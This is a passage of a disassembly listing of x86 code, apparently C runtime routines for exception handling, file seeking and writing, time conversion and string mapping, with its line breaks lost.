[ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB328 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8C4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC908 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC904 call near ptr 2650000h nop loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CD8C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCA8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCAC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCB0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC6C0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB278, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2760000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 2680000h jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC5C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB278, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC6C0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26E0000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB278, 9 mov dword_4DB27C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j call near ptr 2680000h nop mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 26E0000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 2680000h mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB278, 1Ch mov dword_4DB27C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB34C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi nop call near ptr 2630000h test eax, eax jz short loc_422B1E mov dword_4DB34C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE2C push esi push edi nop call near ptr 2640000h test eax, eax jz loc_422C58 mov dword_4DB34C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB34C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2800000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2800000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 27F116Ah mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB350 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB350, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C940 mov edx, dword_43C944 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C8D0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C94C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C94C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C94C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C94C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C94C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C94C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C94C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C94C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C94C push 8 call ebx pop ecx mov dword_43C94C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB350, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] call near ptr 2620000h nop loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8C8, edx push esi mov eax, offset dword_43C8C8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC914, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC90C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; 